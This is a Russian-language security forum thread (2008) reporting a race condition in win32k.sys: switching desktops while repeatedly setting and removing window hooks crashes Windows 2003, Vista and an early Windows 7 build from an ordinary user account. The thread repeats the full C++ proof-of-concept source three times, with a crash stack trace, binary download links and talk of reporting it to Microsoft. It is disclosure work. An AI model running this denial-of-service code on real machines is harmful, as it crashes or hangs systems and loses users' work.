Легенда:
   новое сообщение
    закрытая нитка
    новое сообщение
    в закрытой нитке
    старое сообщение
         
		 | 
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
 - Новичкам также крайне полезно ознакомиться с данным документом.
   
  |   |   |   |   |   |   | 
Примерно такими? :)  03.11.08 23:35  Число просмотров: 4503
 Автор: Killer{R} <Dmitry> Статус: Elderman Отредактировано 03.11.08 23:38  Количество правок: 2
 | 
 
Многократное переключение между Win32 объектами рабочих столов, на которых есть окна, с одновременным созданием потоков, устанавливающих/снимающих Win32 хуки на этих столах и рассылающих оконные сообщений на них в половине случаев приводит к BSODу изза AV в коде win32k.sys, а в другой половине - к зависанию системы. Происходит это предположительно изза race condition между потоком, снимающим хук и одновременной доставкой сообщения в другой поток. В этих условиях проблема воспроизводится под win'2k3, Vista x86 и x64. Для проведения атаки достаточно прав обычного пользователя.
 
 Код:
 
 
hookproc.dll:
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    return TRUE;
}
extern "C" __declspec(dllexport) LRESULT CALLBACK DummyHookProc(int nCode, WPARAM wParam,LPARAM lParam)
{
    ::Sleep(0);
    return ::CallNextHookEx(0, nCode, wParam, lParam);
}
launch.exe:
// launch.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
extern "C" __declspec(dllimport) LRESULT CALLBACK DummyHookProc(int nCode, WPARAM wParam,LPARAM lParam);
HANDLE g_stop_event = CreateEvent(NULL, TRUE, FALSE, NULL);
DWORD CALLBACK WinThreadProc(PVOID p)
{
    TCHAR name[32];
    if (p)
        wsprintf(name, "desk_%x", p);
    else
        wsprintf(name, "default");
    HDESK desk = ::CreateDesktop(name, 0, 0, 0, GENERIC_ALL, 0);
    HDESK old_desk = ::GetThreadDesktop(::GetCurrentThreadId());
    ::SetThreadDesktop(desk);
    for(int i=0; i<8; i++)
    {
        CreateWindow(TEXT("STATIC"), TEXT("dummy"), 
            WS_VISIBLE, 10, i*30, 200, 30, 0, 0, 0, 0);
    }
    MSG msg;
    while (1) 
    { 
        ::GetMessage(&msg, NULL, 0, 0);
        ::TranslateMessage(&msg); 
        ::DispatchMessage(&msg); 
    }
    ::SetThreadDesktop(old_desk);
    ::CloseDesktop(desk);
    return 0;
}
DWORD CALLBACK ThreadProc(PVOID p)
{
    TCHAR name[32];
    if (p)
        wsprintf(name, "desk_%x", p);
    else
        wsprintf(name, "default");
    
    HDESK desk = ::CreateDesktop(name, 0, 0, 0, GENERIC_ALL, 0);
    ::SwitchDesktop(desk);
    ::Sleep(0);
    HDESK old_desk = ::GetThreadDesktop(::GetCurrentThreadId());
    ::SetThreadDesktop(desk);
    HINSTANCE dll = ::GetModuleHandle(TEXT("HOOKPROC.dll"));
    HHOOK hk1 = ::SetWindowsHookEx(WH_MOUSE, DummyHookProc, dll, 0);
    HHOOK hk2 = ::SetWindowsHookEx(WH_CALLWNDPROC, DummyHookProc, dll, 0);
    HHOOK hk3 = ::SetWindowsHookEx(WH_CALLWNDPROCRET, DummyHookProc, dll, 0);
    HHOOK hk4 = ::SetWindowsHookEx(WH_GETMESSAGE, DummyHookProc, dll, 0);
    
    for (;;)
    {
        MSG msg;
        while (::PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) 
        { 
            ::TranslateMessage(&msg); 
            ::DispatchMessage(&msg); 
        }
        
        if (::MsgWaitForMultipleObjects(1, &g_stop_event, 
            FALSE, INFINITE, QS_ALLINPUT) == WAIT_OBJECT_0)
        {
            break;
        }
    }
    ::SwitchDesktop(old_desk);
    ::Sleep(0);
    ::UnhookWindowsHookEx(hk1);
    ::UnhookWindowsHookEx(hk2);
    ::UnhookWindowsHookEx(hk3);
    ::UnhookWindowsHookEx(hk4);
	::PostMessage(HWND_BROADCAST, WM_NULL, 0, 0);
	::SendNotifyMessage(HWND_BROADCAST, WM_NULL, 0, 0);
    ::SetThreadDesktop(old_desk);
    ::CloseDesktop(desk);
    return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    int i;
    for(i=0; i<4; i++)
    {
        ::CloseHandle(::CreateThread(NULL, 0, WinThreadProc, (LPVOID)i, 0, NULL));
    }
    ::Sleep(1000);;
    while((::GetAsyncKeyState(VK_ESCAPE)&32768)==0)
    {
        for(i=0; i<4; i++)
        {
            HANDLE trd = ::CreateThread(NULL, 0, ThreadProc, (LPVOID)i, 0, NULL);
            ::Sleep(100);
            ::SetEvent(g_stop_event);
            ::WaitForSingleObject(trd, INFINITE);
            ::ResetEvent(g_stop_event);
            ::CloseHandle(trd);
        }
    }
	return 0;
}
 ---
 Готовый проект под VC6 и скомпилированные бинарники скачать можно тут: http://slil.ru/26299966
 | 
 
| 
<programming>
 |  
 
BSOD в win32k.sys  02.11.08 08:03  
 Автор: Killer{R} <Dmitry> Статус: Elderman
 | 
 
Предисловие: привет amirul ;)
 Давече дописывал тут одну свою фриварную тулзу (HKM) и напоролся на бсод, вызываемый юзермодным кодом без админских прав. workaround от бсода я придумал, ибо негоже мелкой тулзе винду убивать, но сам бсод - есть баг микрософтовский. И вот относительно минимальный, исключительно юзермодный код, которым он воспроизводится:
 Готовый проект для VC6 (с откомпиленными бинарями) можно скачать тут: http://slil.ru/26296017
 Исходники, а то долго рассказывать что код делает:
 hookproc.dll:
 , 
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    return TRUE;
}
extern "C" __declspec(dllexport) LRESULT CALLBACK DummyHookProc(int nCode, WPARAM wParam,LPARAM lParam)
{
    ::Sleep(0);
    return ::CallNextHookEx(0, nCode, wParam, lParam);
}
 ---, 
 launch.exe:
 , 
extern "C" __declspec(dllimport) LRESULT CALLBACK DummyHookProc(int nCode, WPARAM wParam,LPARAM lParam);
HANDLE g_stop_event = CreateEvent(NULL, TRUE, FALSE, NULL);
DWORD CALLBACK WinThreadProc(PVOID p)
{
    TCHAR name[32];
    if (p)
        wsprintf(name, "desk_%x", p);
    else
        wsprintf(name, "default");
    HDESK desk = ::CreateDesktop(name, 0, 0, 0, GENERIC_ALL, 0);
    HDESK old_desk = ::GetThreadDesktop(::GetCurrentThreadId());
    ::SetThreadDesktop(desk);
    for(int i=0; i<8; i++)
    {
        CreateWindow(TEXT("STATIC"), TEXT("dummy"), 
            WS_VISIBLE, 10, i*30, 200, 30, 0, 0, 0, 0);
    }
    MSG msg;
    while (1) 
    { 
        ::GetMessage(&msg, NULL, 0, 0);
        ::TranslateMessage(&msg); 
        ::DispatchMessage(&msg); 
    }
    ::SetThreadDesktop(old_desk);
    ::CloseDesktop(desk);
    return 0;
}
DWORD CALLBACK ThreadProc(PVOID p)
{
    TCHAR name[32];
    if (p)
        wsprintf(name, "desk_%x", p);
    else
        wsprintf(name, "default");
    
    HDESK desk = ::CreateDesktop(name, 0, 0, 0, GENERIC_ALL, 0);
    ::SwitchDesktop(desk);
    ::Sleep(0);
    HDESK old_desk = ::GetThreadDesktop(::GetCurrentThreadId());
    ::SetThreadDesktop(desk);
    HINSTANCE dll = ::GetModuleHandle(TEXT("HOOKPROC.dll"));
    HHOOK hk1 = ::SetWindowsHookEx(WH_MOUSE, DummyHookProc, dll, 0);
    HHOOK hk2 = ::SetWindowsHookEx(WH_CALLWNDPROC, DummyHookProc, dll, 0);
    HHOOK hk3 = ::SetWindowsHookEx(WH_CALLWNDPROCRET, DummyHookProc, dll, 0);
    HHOOK hk4 = ::SetWindowsHookEx(WH_GETMESSAGE, DummyHookProc, dll, 0);
    
    for (;;)
    {
        MSG msg;
        while (::PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) 
        { 
            ::TranslateMessage(&msg); 
            ::DispatchMessage(&msg); 
        }
        
        if (::MsgWaitForMultipleObjects(1, &g_stop_event, 
            FALSE, INFINITE, QS_ALLINPUT) == WAIT_OBJECT_0)
        {
            break;
        }
    }
    ::SwitchDesktop(old_desk);
    ::Sleep(0);
    ::UnhookWindowsHookEx(hk1);
    ::UnhookWindowsHookEx(hk2);
    ::UnhookWindowsHookEx(hk3);
    ::UnhookWindowsHookEx(hk4);
	::PostMessage(HWND_BROADCAST, WM_NULL, 0, 0);
	::SendNotifyMessage(HWND_BROADCAST, WM_NULL, 0, 0);
    ::SetThreadDesktop(old_desk);
    ::CloseDesktop(desk);
    return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    int i;
    for(i=0; i<4; i++)
    {
        ::CloseHandle(::CreateThread(NULL, 0, WinThreadProc, (LPVOID)i, 0, NULL));
    }
    ::Sleep(1000);;
    while((::GetAsyncKeyState(VK_ESCAPE)&32768)==0)
    {
        for(i=0; i<4; i++)
        {
            HANDLE trd = ::CreateThread(NULL, 0, ThreadProc, (LPVOID)i, 0, NULL);
            ::Sleep(500);
            ::SetEvent(g_stop_event);
            ::WaitForSingleObject(trd, INFINITE);
            ::ResetEvent(g_stop_event);
            ::CloseHandle(trd);
        }
    }
	return 0;
}
 ---, 
 BSOD'ятся или жестко зависают в течении нескольких минут работы проги 2к3 на одноядерном атлоне, и Vista x86 на двухядерном интеле.
 Стек бсода с висты:
 
ChildEBP RetAddr  Args to Child              
8f5ac728 81e835a0 0000008e c0000005 97915cd3 nt!KeBugCheckEx+0x1e
8f5acaf8 81ea563a 8f5acb14 00000000 8f5acb68 nt!KiDispatchException+0x1a9
8f5acb60 81ea55ee 8f5acc5c 97915cd3 badb0d00 nt!CommonDispatchException+0x4a (FPO: [0,20,0])
8f5acb80 81f02215 0000000b 948f53f0 00000000 nt!KiExceptionExit+0x186
8f5acc5c 97991dad 15e02058 00000000 00000000 nt!EtwTraceContextSwap+0x14a
8f5acc78 979d9b8b 00000000 00000000 00000000 win32k!xxxCallNextHookEx+0x35 (FPO: [Non-Fpo])
8f5acccc 979166ed fbe024f0 00000005 00000000 win32k!fnHkINLPCWPEXSTRUCT+0x5d (FPO: [Non-Fpo])
8f5acce8 9793d674 fbe024f0 00000005 00000000 win32k!NtUserfnDWORD+0x27 (FPO: [Non-Fpo])
8f5acd20 81ea4a7a 005d00bc 00000005 00000000 win32k!NtUserMessageCall+0xc6 (FPO: [Non-Fpo])
8f5acd20 77549a94 005d00bc 00000005 00000000 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ 8f5acd44)
06ecea5c 76b48871 76b70b70 005d00bc 00000005 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
06ecea60 76b70b70 005d00bc 00000005 00000000 USER32!NtUserMessageCall+0xc (FPO: [Non-Fpo])*WARNING: Unable to verify checksum for hookproc.dll*ERROR: Symbol file could not be found.  Defaulted to export symbols for hookproc.dll - 
06ecea90 1000102f 00000000 00000000 00000000 USER32!CallNextHookEx+0x10b (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
06ecead8 76b929ff 00040000 00000000 06eceaf0 hookproc!DummyHookProc+0x1f
06eceb00 76b50a65 084124f0 00000005 00000000 USER32!fnHkINLPCWPSTRUCTA+0x4f (FPO: [Non-Fpo])
06eceb28 775499ce 06eceb40 00000018 06ecf208 USER32!__fnDWORD+0x24 (FPO: [Non-Fpo])
06eceb54 76b43cf7 76b43b94 00000088 06ecee80 ntdll!KiUserCallbackDispatcher+0x2e (FPO: [0,0,0])
06eceb58 76b43b94 00000088 06ecee80 06eceba8 USER32!NtUserCreateWindowEx+0xc (FPO: [Non-Fpo])
06ecedfc 76b43cc3 00000088 06ecee80 06ecee94 USER32!VerNtUserCreateWindowEx+0x1ac (FPO: [Non-Fpo])
06eceea8 76b43d9a 00000088 6ff5239c 06ecee94 USER32!_CreateWindowEx+0x1f9 (FPO: [Non-Fpo])
  ---
 | 
 
 
  | 
Вроде ответили, что форварднули куда надо.  04.11.08 09:33  
 Автор: amirul <Serge> Статус: The Elderman
 | 
 
| 
Посмотрим как быстро пофиксят
 | 
 
 
  |   | 
А ктото говорил что не было ошибок в вин32к ;)  04.11.08 11:18  
 Автор: Killer{R} <Dmitry> Статус: Elderman
 | 
 
А ктото говорил что не было ошибок в вин32к ;)
 Просто надо хорошо поискать. Судя по спертым сырцам винды код win32k - еще те макароны.. А в них баги всегда есть)
 | 
 
 
  |   |   | 
Ну тогда мне выдали 2. Это третья  04.11.08 11:36  
 Автор: amirul <Serge> Статус: The Elderman
 | 
 
> А ктото говорил что не было ошибок в вин32к ;) Причем своими глазами я видел только 2.
 
 > Просто надо хорошо поискать. Судя по спертым сырцам винды > код win32k - еще те макароны.. А в них баги всегда есть) Это да. Хотя наверное за всем этим есть какой то скрытый смысл - а если есть внутренняя логика, то неважно как оно выглядит внешне - ошибок будет мало. Хороший пример - автогенеренный код. Такой нечитабельной каши не напишет ни одна кодманки, а работает оно идеально :-)
 | 
 
 
  |   |   |   | 
Проблема такого кода в том что его модифицировать опасно...  04.11.08 11:50  
 Автор: Killer{R} <Dmitry> Статус: Elderman Отредактировано 04.11.08 11:55  Количество правок: 2
 | 
 
> Это да. Хотя наверное за всем этим есть какой то скрытый > смысл - а если есть внутренняя логика, то неважно как оно > выглядит внешне - ошибок будет мало. Хороший пример - > автогенеренный код. Такой нечитабельной каши не напишет ни > одна кодманки, а работает оно идеально :-) Проблема такого кода в том что его модифицировать опасно. Особенно без полного набора тестов на функционал и безопасность. Одинаково опасно модифицировать и кашу кодманки и кодогенератора :)
 Что похоже и имело место тут. Т.к. ХР не свалилась за ночь издевательства десктопами. А 2к3/Виста валятся в первые 10 секунд. Могу даже дальше пофантазировать и предположить что изменения в коде были вызваны введением UAC и необходимостью разграничения доступа к user32 объектам между различными IL. Впрочем непонятно почему 2к3 поломали по сравнению с ХР. Может, там уже в win32k сделали эти изменения - на будущее :)
 | 
 
 
  |   |   |   |   | 
Согласен  04.11.08 21:34  
 Автор: amirul <Serge> Статус: The Elderman
 | 
 
> Проблема такого кода в том что его модифицировать опасно. > Особенно без полного набора тестов на функционал и Тесты то есть. И кавередж тоже. Вот только рейсы не выявляются ни одним кодкавереджем.
 
 > безопасность. Одинаково опасно модифицировать и кашу > кодманки и кодогенератора :) Ага :-)
 
 В общем пошло обсуждение и вроде бы нашли related issue.
 | 
 
 
  | 
И тебе привет :-)  02.11.08 10:04  
 Автор: amirul <Serge> Статус: The Elderman
 | 
 
> Давече дописывал тут одну свою фриварную тулзу (HKM) и > напоролся на бсод, вызываемый юзермодным кодом без > админских прав. workaround от бсода я придумал, ибо негоже > мелкой тулзе винду убивать, но сам бсод - есть баг Негоже.
 
 > микрософтовский. И вот относительно минимальный, > исключительно юзермодный код, которым он воспроизводится: Сейчас поздно. Завтра попробую потестить, а с понедельника опять таки попробую найти куда бы это протолкнуть.
 | 
 
 
  |   | 
На работе проверил на ХР и Висте х64. ХР вроде не падает а...  03.11.08 15:25  
 Автор: Killer{R} <Dmitry> Статус: Elderman Отредактировано 03.11.08 15:27  Количество правок: 1
 | 
 
> > микрософтовский. И вот относительно минимальный, > > исключительно юзермодный код, которым он > воспроизводится: > Сейчас поздно. Завтра попробую потестить, а с понедельника > опять таки попробую найти куда бы это протолкнуть. На работе проверил на ХР и Висте х64. ХР вроде не падает, а виста 64битная - тоже грохнулась как и 32хбитная. Причем уменьшение Sleep(500) до Sleep(100) значительно ускоряет процесс :)
 Похоже гдето гонка в win32k в снятии хуков.
 Кстати обе висты проапдейтенные по самое не балуй.
 | 
 
 
  |   |   | 
Есть репродюс на висте и одной из последних сборок вин7 :-)  03.11.08 21:58  
 Автор: amirul <Serge> Статус: The Elderman
 | 
 
> На работе проверил на ХР и Висте х64. ХР вроде не падает, а > виста 64битная - тоже грохнулась как и 32хбитная. Причем > уменьшение Sleep(500) до Sleep(100) значительно ускоряет > процесс :) > Похоже гдето гонка в win32k в снятии хуков. > Кстати обе висты проапдейтенные по самое не балуй. 
 Буду искать куда бы это запихать (сам я баг открыть не могу - ибо совершенно в другой команде).
 | 
 
 
  |   |   |   | 
может, в рассылку багтрака? :)  03.11.08 22:11  
 Автор: Killer{R} <Dmitry> Статус: Elderman
 | 
 
| 
 | 
 
 
  |   |   |   |   | 
Можно и туда. По моему вполне себе новость. Но решение за dl-ем :-)  03.11.08 22:28  
 Автор: amirul <Serge> Статус: The Elderman
 | 
 
| 
 | 
 
 
  |   |   |   |   |   | 
легко, если это будет сформулировано словами :)  03.11.08 22:59  
 Автор: dl <Dmitry Leonov> 
 | 
 
| 
Т.е. источник проблемы - активное создание хуков из потоков в сочетании с созданием рабочих столов для каждого потока?
 | 
 
 
  |   |   |   |   |   |   | 
Примерно такими? :)  03.11.08 23:35  
 Автор: Killer{R} <Dmitry> Статус: Elderman Отредактировано 03.11.08 23:38  Количество правок: 2
 | 
 
Многократное переключение между Win32 объектами рабочих столов, на которых есть окна, с одновременным созданием потоков, устанавливающих/снимающих Win32 хуки на этих столах и рассылающих оконные сообщений на них в половине случаев приводит к BSODу изза AV в коде win32k.sys, а в другой половине - к зависанию системы. Происходит это предположительно изза race condition между потоком, снимающим хук и одновременной доставкой сообщения в другой поток. В этих условиях проблема воспроизводится под win'2k3, Vista x86 и x64. Для проведения атаки достаточно прав обычного пользователя.
 
 Код:
 
 
hookproc.dll:
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    return TRUE;
}
extern "C" __declspec(dllexport) LRESULT CALLBACK DummyHookProc(int nCode, WPARAM wParam,LPARAM lParam)
{
    ::Sleep(0);
    return ::CallNextHookEx(0, nCode, wParam, lParam);
}
launch.exe:
// launch.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
extern "C" __declspec(dllimport) LRESULT CALLBACK DummyHookProc(int nCode, WPARAM wParam,LPARAM lParam);
HANDLE g_stop_event = CreateEvent(NULL, TRUE, FALSE, NULL);
DWORD CALLBACK WinThreadProc(PVOID p)
{
    TCHAR name[32];
    if (p)
        wsprintf(name, "desk_%x", p);
    else
        wsprintf(name, "default");
    HDESK desk = ::CreateDesktop(name, 0, 0, 0, GENERIC_ALL, 0);
    HDESK old_desk = ::GetThreadDesktop(::GetCurrentThreadId());
    ::SetThreadDesktop(desk);
    for(int i=0; i<8; i++)
    {
        CreateWindow(TEXT("STATIC"), TEXT("dummy"), 
            WS_VISIBLE, 10, i*30, 200, 30, 0, 0, 0, 0);
    }
    MSG msg;
    while (1) 
    { 
        ::GetMessage(&msg, NULL, 0, 0);
        ::TranslateMessage(&msg); 
        ::DispatchMessage(&msg); 
    }
    ::SetThreadDesktop(old_desk);
    ::CloseDesktop(desk);
    return 0;
}
DWORD CALLBACK ThreadProc(PVOID p)
{
    TCHAR name[32];
    if (p)
        wsprintf(name, "desk_%x", p);
    else
        wsprintf(name, "default");
    
    HDESK desk = ::CreateDesktop(name, 0, 0, 0, GENERIC_ALL, 0);
    ::SwitchDesktop(desk);
    ::Sleep(0);
    HDESK old_desk = ::GetThreadDesktop(::GetCurrentThreadId());
    ::SetThreadDesktop(desk);
    HINSTANCE dll = ::GetModuleHandle(TEXT("HOOKPROC.dll"));
    HHOOK hk1 = ::SetWindowsHookEx(WH_MOUSE, DummyHookProc, dll, 0);
    HHOOK hk2 = ::SetWindowsHookEx(WH_CALLWNDPROC, DummyHookProc, dll, 0);
    HHOOK hk3 = ::SetWindowsHookEx(WH_CALLWNDPROCRET, DummyHookProc, dll, 0);
    HHOOK hk4 = ::SetWindowsHookEx(WH_GETMESSAGE, DummyHookProc, dll, 0);
    
    for (;;)
    {
        MSG msg;
        while (::PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) 
        { 
            ::TranslateMessage(&msg); 
            ::DispatchMessage(&msg); 
        }
        
        if (::MsgWaitForMultipleObjects(1, &g_stop_event, 
            FALSE, INFINITE, QS_ALLINPUT) == WAIT_OBJECT_0)
        {
            break;
        }
    }
    ::SwitchDesktop(old_desk);
    ::Sleep(0);
    ::UnhookWindowsHookEx(hk1);
    ::UnhookWindowsHookEx(hk2);
    ::UnhookWindowsHookEx(hk3);
    ::UnhookWindowsHookEx(hk4);
	::PostMessage(HWND_BROADCAST, WM_NULL, 0, 0);
	::SendNotifyMessage(HWND_BROADCAST, WM_NULL, 0, 0);
    ::SetThreadDesktop(old_desk);
    ::CloseDesktop(desk);
    return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    int i;
    for(i=0; i<4; i++)
    {
        ::CloseHandle(::CreateThread(NULL, 0, WinThreadProc, (LPVOID)i, 0, NULL));
    }
    ::Sleep(1000);;
    while((::GetAsyncKeyState(VK_ESCAPE)&32768)==0)
    {
        for(i=0; i<4; i++)
        {
            HANDLE trd = ::CreateThread(NULL, 0, ThreadProc, (LPVOID)i, 0, NULL);
            ::Sleep(100);
            ::SetEvent(g_stop_event);
            ::WaitForSingleObject(trd, INFINITE);
            ::ResetEvent(g_stop_event);
            ::CloseHandle(trd);
        }
    }
	return 0;
}
 ---
 Готовый проект под VC6 и скомпилированные бинарники скачать можно тут: http://slil.ru/26299966
 | 
 
 
  |   |   |   |   |   |   |   | 
вполне, спасибо; запостил  04.11.08 01:16  
 Автор: dl <Dmitry Leonov> 
 | 
 
| 
 | 
 
 
  |   |   |   |   |   |   | 
Предположительно изза race condition с потоком который...  03.11.08 23:08  
 Автор: Killer{R} <Dmitry> Статус: Elderman
 | 
 
| 
Предположительно изза race condition с потоком который снимает хук и одновременной доставкой сообщения в другой поток. Похоже оно пытается вызвать только что убитый хук. Имеют ли прямое отношение десктопы к этому, или просто оно приводят к каким либо особенным условиям тайминга исполнения плохо синхронизированного кода - пока хз. В дампе ничего напрямую про десктопы не видно. Но без них воспроизвести пока не получилось.
 | 
 
 
  
 
 | 
 |